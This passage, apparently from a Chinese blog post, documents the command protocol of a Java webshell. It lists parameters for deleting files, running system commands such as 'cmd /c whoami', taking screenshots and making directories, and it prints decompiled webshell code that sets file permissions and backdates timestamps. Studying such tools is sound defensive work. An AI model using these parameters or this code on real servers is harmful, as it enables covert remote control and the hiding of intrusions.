fineName xxxxxxxxxxx
methodName deleteFile
sessionId xxxxxxx
我们新建一个文件,尝试删除
当次我们的session为:eUUjSIzNV6RbHJpJF
返回ok即成功
2.2.10功能10 execCommand
cmdline cmd /c "whoami"executeableFile cmd
executableArgs /c "whoami"arg-0: cmd
argCount 3arg-1 /c
arg-2 whoami
methodName execCommand
sessionID xxxxx
理论上,只有一个argsCunt也可以
也就是
argCount 3arg-0 cmd
arg-1 /c
arg-2 whoami
methodName execCommand
sessionID xxxxx
count拼错了,补一次
2.2.11 功能11 screen
method screen
sessionID xxxxxx
执行后生成图片
2.2.12 功能12 getFile
mechodName getFile
sessionId xxxxx
dirName 目录
暂时有一些反序列化的问题
2.2.13 功能13 listFileRoot
methodName listFileRoot
session xxxx
2.2.14 功能 14 setFileAttr
(应该是针对linux)
type 也就是var1 有两种选项,fileBasicAttr 获取基础属性,fileTimeAttr 获取时间属性
attr RWX 可以这么写
fileName
public byte[] setFileAttr() { String var1 = this.get("type"); String var2 = this.get("attr"); String var3 = this.get("fileName"); String var4 = "Null"; if (var1 != null && var2 != null && var3 != null) { try {
File var5 = new File(var3); if ("fileBasicAttr".equals(var1)) { Class var10001 = class$5; if (var10001 == null) { try {
var10001 = Class.forName("java.io.File");
} catch (ClassNotFoundException var27) { throw new NoClassDefFoundError(var27.getMessage());
} class$5 = var10001;
} if (this.getMethodByClass(var10001, "setWritable", new Class[]{Boolean.TYPE}) != null) { if (var2.indexOf("R") != -1) {
var5.setReadable(true);
} if (var2.indexOf("W") != -1) {
var5.setWritable(true);
} if (var2.indexOf("X") != -1) {
var5.setExecutable(true);
}
var4 = "ok";
} else {
var4 = "Java version is less than 1.6";
}
} else if ("fileTimeAttr".equals(var1)) {
Date var29 = new Date(0L);
StringBuffer var7 = new StringBuffer();
var7.append(var2);
char[] var8 = new char[13 - var7.length()];
Arrays.fill(var8, '0');
var7.append(var8);
var29 = new Date(var29.getTime() + Long.parseLong(var7.toString()));
var5.setLastModified(var29.getTime());
var4 = "ok"; try { Class var9 = Class.forName("java.nio.file.Paths"); Class var10 = Class.forName("java.nio.file.Path"); Class var11 = Class.forName("java.nio.file.attribute.BasicFileAttributeView"); Class var12 = Class.forName("java.nio.file.Files"); Class var13 = Class.forName("java.nio.file.attribute.FileTime"); Class var14 = Class.forName("[java.nio.file.LinkOption"); Class[] var10002 = new Class[2]; Class var10005 = class$3; if (var10005 == null) { try {
var10005 = Class.forName("java.lang.String");
} catch (ClassNotFoundException var25) { throw new NoClassDefFoundError(var25.getMessage());
} class$3 = var10005;
} var10002[0] = var10005; var10005 = class$6; if (var10005 == null) { try {
var10005 = Class.forName("[Ljava.lang.String;");
} catch (ClassNotFoundException var24) { throw new NoClassDefFoundError(var24.getMessage());
} class$6 = var10005;
} var10002[1] = var10005; Method var15 = var9.getMethod("get", var10002); Method var16 = var13.getMethod("fromMillis", Long.TYPE); var10002 = new Class[]{var10, null, null};
var10005 = class$7; if (var10005 == null) { try {
var10005 = Class.forName("java.lang.Class");
} catch (ClassNotFoundException var23) { throw new NoClassDefFoundError(var23.getMessage());
} class$7 = var10005;
} var10002[1] = var10005; var10002[2] = var14; Method var17 = var12.getMethod("getFileAttributeView", var10002); Method var18 = var11.getMethod("setTimes", var13, var13, var13); Object var19 = var15.invoke((Object)null, var3, new String[0]); Object var20 = Array.newInstance(var14.getComponentType(), 0); Object var21 = var17.invoke((Object)null, var19, var11, var20); Object var22 = var16.invoke((Object)null, var29.getTime()); var18.invoke(var21, var22, var22, var22);
} catch (Throwable var26) {
}
} else {
var4 = "no ExcuteType";
}
} catch (Throwable var28) {
StringBuffer var6 = new StringBuffer();
var6.append("Exception errMsg:");
var6.append(var28.getMessage()); return var6.toString().getBytes();
}
} else {
var4 = "type or attr or fileName is empty";
} return var4.getBytes();
}
2.2.15 功能15 newDir
methodName newDir
dirName xxx
sessionid xxx
- 点赞
- 收藏
- 关注作者
评论(0)